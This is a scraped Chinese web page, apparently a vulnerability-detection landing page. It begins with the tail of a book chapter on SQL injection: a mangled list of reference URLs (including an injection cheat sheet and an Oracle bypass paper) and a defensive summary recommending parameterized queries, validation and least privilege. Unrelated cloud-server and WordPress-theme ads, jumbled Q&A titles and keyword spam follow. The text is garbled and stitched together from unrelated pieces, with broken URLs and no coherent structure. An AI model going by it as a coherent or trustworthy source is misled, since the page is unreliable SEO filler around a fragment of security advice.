aspx"DB2BringingthePowerofRegularExpressionMatchingtoSQL":www-106.
ibm.
com/developerworks/db2/library/techarticle/0301stolze/0301stolze.
htmlMySQLRegularExpressions:http://dev.
mysql.
com/doc/mysql/en/Regexp.
html"SQLInjectionCheatSheet":http://ferruh.
mavituna.
com/sql-injection-cheatsheet-oku/"EliminateSQLInjectionAttacksPainlesslywithLINQ":www.
devx.
com/dotnet/Article/34653ColdFusioncfqueryparam:www.
adobe.
com/livedocs/coldfusion/5.
0/CFML_Reference/Tags79.
htm"BypassingOracledbms_assert",AlexKornbrust著:www.
red-database-security.
com/wp/bypass_dbms_assert.
pdf"UsingUrlScan":http://learn.
iis.
net/page.
aspx/473/using-urlscanCAT.
NET:http://snurl.
com/89f0p1.
12本章小结要了解所使用的数据库.
它支持存储过程么注释运算符是什么它允许攻击者调用扩展功能么要了解对所使用的数据库进行的一些常见SQL注入攻击方法.
要检查输入的有效性和可信度.
要在服务器上检查输入的有效性.
要使用参数化的查询,也称为预置语句、占位符或者参数绑定,来构造SQL语句.
如果需要建立动态SQL,就要使用引用或界定函数.
要在程序之外存储数据库的连接信息,例如有适当保护措施的配置文件或者Windows注册表.
要加密敏感的数据库数据.
要拒绝访问底层的数据库对象,仅允许访问存储过程和视图.
不要简单地认为过滤掉恶意输入就可以了,事实上,它们有无数的变体,而您是检测不出来所有这些变体的.
有时想滤掉恶意输入,却留下了恶意输入,想象一下:从deldeleteete中删除delete会留下什么.

UCloud:美国云服务器,洛杉矶节点大促,低至7元起/1个月

ucloud美国云服务器怎么样?ucloud是国内知名云计算品牌服务商家,目前推出全球多地机房的海外云服务器。UCloud主打的优势是海外多机房,目前正在进行的2021全球大促活动参与促销的云服务器机房就多达18个。UCloud新一代旗舰产品快杰云服务器已上线洛杉矶节点,覆盖北美和亚太地区,火热促销中, 首月低至7元,轻松体验具备优秀性能与极高性价比的快杰云服务器。点击进入:ucloud美国洛杉矶...

Puaex:香港vds,wtt套餐,G口带宽不限流量;可解流媒体,限量补货

puaex怎么样?puaex是一家去年成立的国人商家,本站也分享过几次,他家主要销售香港商宽的套餐,给的全部为G口带宽,而且是不限流量的,目前有WTT和HKBN两种线路的方面,虽然商家的价格比较贵,但是每次补一些货,就会被抢空,之前一直都是断货的状态,目前商家进行了补货,有需要这种类型机器的朋友可以入手。点击进入:puaex商家官方网站Puaex香港vds套餐:全部为KVM虚拟架构,G口的带宽,可...

wordpress简洁英文主题 wordpress简洁通用型高级外贸主题

wordpress简洁英文主题,wordpress简洁通用大气的网站风格设计 + 更适于欧美国外用户操作体验,完善的外贸企业建站功能模块 + 更好的移动设备特色模块支持,更高效实用的后台自定义设置 + 标准高效的代码程序功能结构,更利于Goolge等国际搜索引擎的SEO搜索优化和站点收录排名。点击进入:wordpress简洁通用型高级外贸主题主题价格:¥3980 特 惠 价:¥1280安装环境:运...

如何检测网站漏洞为你推荐
accessdenied上网时电脑上显示access denied 是怎么回事googlepr百度权重和googlePR都是些什么东西??cisco2960配置cisco4506与2960的vlan配置重庆杨家坪猪肉摊主杀人重庆忠县的猪肉市场应该好好整顿一下了。6月份我买到了母猪肉。今天好不容易才下定决心去买农贸市场买肉。netshwinsockreset开始-运行-输入CMD-确定-输入netsh winsock reset,按Enter确定。然后重启。 是什么意思碧海银沙网怎样在碧海银沙网里发布图片?tumblr上不去安卓手机版steam打不开是为什么400电话查询400电话号码可以查询归属地吗?办理400电话是不是很贵?joomla安装MICROSOFT APPLOCALE 怎么安装drupal主题Drupal比DEDE等国内CMS好在哪里?
百度域名 广东vps 花生壳免费域名 购买域名和空间 68.168.16.150 免费网站监控 服务器日志分析 服务器cpu性能排行 新站长网 卡巴斯基永久免费版 骨干网络 cpanel空间 权嘉云 工信部icp备案号 200g硬盘 老左正传 网游服务器 免费私人服务器 双线机房 独享主机 更多